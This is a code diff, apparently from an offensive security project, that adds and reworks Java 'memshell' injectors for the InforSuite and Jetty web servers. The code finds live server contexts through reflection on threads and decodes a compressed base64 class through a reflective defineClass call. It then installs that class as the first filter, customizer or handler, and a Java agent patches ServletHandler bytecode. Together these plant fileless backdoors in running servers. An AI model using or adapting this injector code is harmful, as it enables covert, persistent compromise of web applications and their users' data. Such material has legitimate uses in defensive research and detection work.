public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -40,12 +31,57 @@ public class InforSuiteFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public InforSuiteFilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(invokeMethod(context, "getServletContext", null, null), "getContextPath", null, null);
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
/** /**
* com.cvicse.loong.enterprise.web.WebModule * com.cvicse.loong.enterprise.web.WebModule
* /usr/local/inforsuite/as/modules/web-glue.jar * /usr/local/inforsuite/as/modules/web-glue.jar
*/ */
public List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
if (thread.getName().contains("ContainerBackgroundProcessor")) { if (thread.getName().contains("ContainerBackgroundProcessor")) {
@@ -59,7 +95,7 @@ public class InforSuiteFilterInjector {
return contexts; return contexts;
} }
private ClassLoader getWebAppClassLoader(Object context) { private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try { try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null)); return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) { } catch (Exception e) {
@@ -71,37 +107,49 @@ public class InforSuiteFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return classLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public void inject(Object context, Object filter) throws Exception { public void inject(Object context, Object filter) throws Exception {
String filterName = getClassName(); String filterName = getClassName();
if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(context, "findFilterDef", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
log.warning("filter already exists");
return; return;
} }
ClassLoader contextClassLoader = context.getClass().getClassLoader(); ClassLoader contextClassLoader = context.getClass().getClassLoader();
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance(); Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance(); Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
Object filterMap = filterMapClass.newInstance();
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()}); invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName}); invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
// addFilterMapFirst
try { try {
invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); Object filterMaps = getFieldValue(context, "filterMaps");
if (filterMaps instanceof List) {
// InforSuite9
((List<Object>) filterMaps).add(0, filterMap);
}
} catch (Exception e) { } catch (Exception e) {
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); // InforSuite10
Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
results[0] = filterMap;
System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
} }
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -114,7 +162,11 @@ public class InforSuiteFilterInjector {
filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs"); filterConfigs = (HashMap<String, Object>) getFieldValue(context, "iasFilterConfigs");
} }
filterConfigs.put(filterName, filterConfig); filterConfigs.put(filterName, filterConfig);
log.info("filter added successfully"); }
@Override
public String toString() {
return msg;
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -151,30 +203,36 @@ public class InforSuiteFilterInjector {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object getFieldValue(Object obj, String fieldName) throws Exception { public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, fieldName); for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
Field field = getField(obj, name);
field.setAccessible(true); field.setAccessible(true);
return field.get(obj); return field.get(obj);
} }
@SuppressWarnings("all")
public static Field getField(Object obj, String fieldName) throws NoSuchFieldException { public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Class<?> clazz = obj.getClass(); Field field = getField(obj, fieldName);
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true); field.setAccessible(true);
return field; field.set(obj, value);
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) { public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass(); Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null; Method method = null;
while (clazz != null && method == null) { while (clazz != null && method == null) {
@@ -191,11 +249,22 @@ public class InforSuiteFilterInjector {
if (method == null) { if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName); throw new NoSuchMethodException("Method not found: " + methodName);
} }
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} catch (Exception e) { }
throw new RuntimeException("Error invoking method: " + methodName, e);
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
} }
} }
} }
@@ -0,0 +1,220 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.List;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JettyCustomizerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public JettyCustomizerInjector() {
if (ok) {
return;
}
Object channel = null;
try {
channel = getChannel();
} catch (Throwable throwable) {
msg += "channel error: " + getErrorMessage(throwable);
}
if (channel == null) {
msg += "channel not found";
} else {
try {
msg += ("channel: [" + channel + "] ");
Object shell = getShell(channel);
inject(channel, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}
public void inject(Object channel, Object shell) throws Exception {
Object httpConfiguration = invokeMethod(channel, "getHttpConfiguration");
List<Object> customizers = (List<Object>) invokeMethod(httpConfiguration, "getCustomizers");
for (Object customizer : customizers) {
if (customizer.getClass().getName().equals(getClassName())) {
return;
}
}
customizers.add(shell);
}
@Override
public String toString() {
return msg;
}
/**
* org.eclipse.jetty.server.HttpChannel
*/
private Object getChannel() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
return getFieldValue(threadLocalValue, "_channel");
}
}
}
}
} catch (Exception e) {
}
}
return null;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
for (Class<?> clazz = obj.getClass();
clazz != Object.class;
clazz = clazz.getSuperclass()) {
try {
return clazz.getDeclaredField(name);
} catch (NoSuchFieldException ignored) {
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
try {
Field field = getField(obj, name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException ignored) {
}
return null;
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -3,9 +3,9 @@ package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*; import java.lang.reflect.*;
import java.util.ArrayList; import java.util.HashSet;
import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.zip.GZIPInputStream; import java.util.zip.GZIPInputStream;
@@ -17,17 +17,8 @@ import java.util.zip.GZIPInputStream;
public class JettyFilterInjector { public class JettyFilterInjector {
public JettyFilterInjector() { private static String msg = "";
try { private static boolean ok = false;
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getShell(context);
inject(context, filter);
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getUrlPattern() { public String getUrlPattern() {
return "{{urlPattern}}"; return "{{urlPattern}}";
@@ -41,81 +32,110 @@ public class JettyFilterInjector {
return "{{base64Str}}"; return "{{base64Str}}";
} }
public void inject(Object context, Object filter) throws Exception { public JettyFilterInjector() {
Object servletHandler = getFieldValue(context, "_servletHandler"); if (ok) {
if (servletHandler == null) {
return; return;
} }
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception {
Object servletHandler = getFieldValue(context, "_servletHandler");
if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) { if (invokeMethod(servletHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
System.out.println("filter is already injected");
return; return;
} }
String[] classNames = new String[]{ String[][] filterHolderClassNames = new String[][]{
"org.eclipse.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee8.servlet.FilterHolder", new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
"org.eclipse.jetty.ee9.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
"org.eclipse.jetty.ee10.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
"org.mortbay.jetty.servlet.FilterHolder", new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
}; };
Class<?> filterHolderClass = null; Class<?> filterHolderClass = null;
Class<?> filterMappingClass = null;
for (String className : classNames) { for (String[] classNames : filterHolderClassNames) {
try { try {
filterHolderClass = context.getClass().getClassLoader().loadClass(className); filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
} catch (ClassNotFoundException ignored) { } catch (ClassNotFoundException ignored) {
} }
} }
if (filterHolderClass == null) { if (filterHolderClass == null || filterMappingClass == null) {
throw new ClassNotFoundException("FilterHodler"); throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
} }
Constructor<?> constructor = filterHolderClass.getConstructor(Class.class); Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filter.getClass()); Object filterHolder = constructor.newInstance(filter.getClass());
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()}); invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
moveFilterToFirst(servletHandler); invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
Object filterMapping = filterMappingClass.getConstructor().newInstance();
invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
Object[] newMappings = null;
int length = Array.getLength(mappings);
if (mappings == null || length == 0) {
newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
} else {
newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
System.arraycopy(mappings, 0, newMappings, 1, length);
}
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache"); invokeMethod(servletHandler, "invalidateChainsCache");
System.out.println("filter added successfully");
} }
private void moveFilterToFirst(Object servletHandler) throws Exception { @Override
Object filterMaps = getFieldValue(servletHandler, "_filterMappings"); public String toString() {
ArrayList<Object> reorderedFilters = new ArrayList<Object>(); return msg;
int filterLength;
if (filterMaps.getClass().isArray()) {
filterLength = Array.getLength(filterMaps);
for (int i = 0; i < filterLength; i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
for (int i = 0; i < filterLength; i++) {
Array.set(filterMaps, i, reorderedFilters.get(i));
}
} else if (filterMaps instanceof ArrayList) {
ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
filterLength = filterList.size();
for (Object filter : filterList) {
String filterName = (String) getFieldValue(filter, "_filterName");
if (filterName.equals(getClassName())) {
reorderedFilters.add(0, filter);
} else {
reorderedFilters.add(filter);
}
}
filterList.clear();
filterList.addAll(reorderedFilters);
} else {
throw new IllegalArgumentException("filterMaps must be either an array or an ArrayList");
}
} }
/** /**
@@ -125,8 +145,8 @@ public class JettyFilterInjector {
* org.eclipse.jetty.ee9.webapp.WebAppContext * org.eclipse.jetty.ee9.webapp.WebAppContext
* org.eclipse.jetty.ee10.webapp.WebAppContext * org.eclipse.jetty.ee10.webapp.WebAppContext
*/ */
private List<Object> getContext() throws Exception { public Set<Object> getContext() throws Exception {
List<Object> contexts = new ArrayList<Object>(); Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet(); Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) { for (Thread thread : threads) {
try { try {
@@ -165,16 +185,18 @@ public class JettyFilterInjector {
@SuppressWarnings("all") @SuppressWarnings("all")
private Object getShell(Object context) throws Exception { private Object getShell(Object context) throws Exception {
ClassLoader webAppClassLoader = getWebAppClassLoader(context); ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try { try {
return webAppClassLoader.loadClass(getClassName()).newInstance(); clazz = classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true); defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(webAppClassLoader, clazzByte, 0, clazzByte.length); clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
return clazz.newInstance();
} }
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
} }
@@ -223,7 +245,7 @@ public class JettyFilterInjector {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException { public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
@@ -257,4 +279,19 @@ public class JettyFilterInjector {
throw new RuntimeException("Error invoking method: " + methodName, e); throw new RuntimeException("Error invoking method: " + methodName, e);
} }
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -21,9 +21,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
"org/eclipse/jetty/ee8/servlet/ServletHandler", "org/eclipse/jetty/ee8/servlet/ServletHandler",
"org/eclipse/jetty/ee9/servlet/ServletHandler", "org/eclipse/jetty/ee9/servlet/ServletHandler",
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain", "org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
"org/eclipse/jetty/ee11/servlet/ServletHandler$Chain",
"org/mortbay/jetty/servlet/ServletHandler" "org/mortbay/jetty/servlet/ServletHandler"
); );
private static String targetMethodName = "doHandle";
public static String getClassName() { public static String getClassName() {
return "{{advisorName}}"; return "{{advisorName}}";
@@ -48,14 +48,7 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
String name = allLoadedClass.getName(); String name = allLoadedClass.getName();
for (String targetClass : TARGET_CLASSES) { for (String targetClass : TARGET_CLASSES) {
if (targetClass.replace("/", ".").equals(name)) { if (targetClass.replace("/", ".").equals(name)) {
if (name.contains("mortbay")) {
targetMethodName = "handle";
}
if (name.contains("ee10")) {
targetMethodName = "doFilter";
}
inst.retransformClasses(allLoadedClass); inst.retransformClasses(allLoadedClass);
System.out.println("MemShell Agent is working at " + name + "." + targetMethodName);
} }
} }
} }
@@ -66,10 +59,11 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined, public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
ProtectionDomain protectionDomain, byte[] bytes) { ProtectionDomain protectionDomain, byte[] bytes) {
if (TARGET_CLASSES.contains(className)) { if (TARGET_CLASSES.contains(className)) {
String targetMethodName = "doHandle";
if (className.contains("mortbay")) { if (className.contains("mortbay")) {
targetMethodName = "handle"; targetMethodName = "handle";
} }
if (className.contains("ee10")) { if (className.contains("ee10") || className.contains("ee11")) {
targetMethodName = "doFilter"; targetMethodName = "doFilter";
} }
defineTargetClass(loader); defineTargetClass(loader);
@@ -81,8 +75,9 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
return loader; return loader;
} }
}; };
ClassVisitor cv = getClassVisitor(cw); ClassVisitor cv = getClassVisitor(cw, targetMethodName);
cr.accept(cv, ClassReader.EXPAND_FRAMES); cr.accept(cv, ClassReader.EXPAND_FRAMES);
System.out.println("MemShell Agent is working at " + className.replace("/", ".") + "." + targetMethodName);
return cw.toByteArray(); return cw.toByteArray();
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
@@ -92,19 +87,15 @@ public class JettyHandlerAgentInjector implements ClassFileTransformer {
} }
@SuppressWarnings("all") @SuppressWarnings("all")
public static ClassVisitor getClassVisitor(ClassVisitor cv) { public static ClassVisitor getClassVisitor(ClassVisitor cv, String targetMethodName) {
return new ClassVisitor(Opcodes.ASM9, cv) { return new ClassVisitor(Opcodes.ASM9, cv) {
@Override @Override
public MethodVisitor visitMethod(int access, String name, String descriptor, public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) { String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions); MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (targetMethodName.equals(name)) { if (targetMethodName.equals(name)) {
try {
Type[] argumentTypes = Type.getArgumentTypes(descriptor); Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName()); return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
} catch (Exception e) {
e.printStackTrace();
}
} }
return mv; return mv;
} }
@@ -0,0 +1,254 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
*/
public class JettyHandlerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public JettyHandlerInjector() {
if (ok) {
return;
}
Object server = null;
try {
server = getServer();
} catch (Throwable throwable) {
msg += "server error: " + getErrorMessage(throwable);
}
if (server == null) {
msg += "server not found";
} else {
try {
msg += ("server: [" + server + "] ");
Object shell = getShell(server);
inject(server, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
ok = true;
System.out.println(msg);
}
public void inject(Object server, Object handler) throws Exception {
Object nextHandler = getFieldValue(server, "_handler");
if (handler.getClass().isAssignableFrom(nextHandler.getClass())) {
return;
}
validateHandler(handler);
setFieldValue(handler, "nextHandler", nextHandler);
setFieldValue(handler, "_server", server);
setFieldValue(server, "_handler", handler);
// jetty6
try {
invokeMethod(invokeMethod(server, "getContainer"), "addBean", new Class[]{Object.class}, new Object[]{handler});
} catch (Throwable ignored) {
}
// jetty 7/8/9/10/11/12
try {
invokeMethod(server, "addBean", new Class[]{Object.class, boolean.class}, new Object[]{handler, true});
} catch (Throwable ignored) {
}
}
public void validateHandler(Object shell) throws Exception {
Class<?> handlerClass = shell.getClass().getSuperclass();
Method rightHandleMethod = null;
for (Method method : handlerClass.getMethods()) {
if (method.getName().equals("handle")) {
rightHandleMethod = method;
}
}
shell.getClass().getMethod(
"handle",
rightHandleMethod.getParameterTypes()
);
}
@Override
public String toString() {
return msg;
}
/**
* org.eclipse.jetty.server.Server
*/
private Object getServer() throws Exception {
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object table = getFieldValue(getFieldValue(thread, "threadLocals"), "table");
for (int i = 0; i < Array.getLength(table); i++) {
Object entry = Array.get(table, i);
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
}
}
}
}
} catch (Exception ignored) {
}
}
return null;
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = context.getClass().getClassLoader();
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
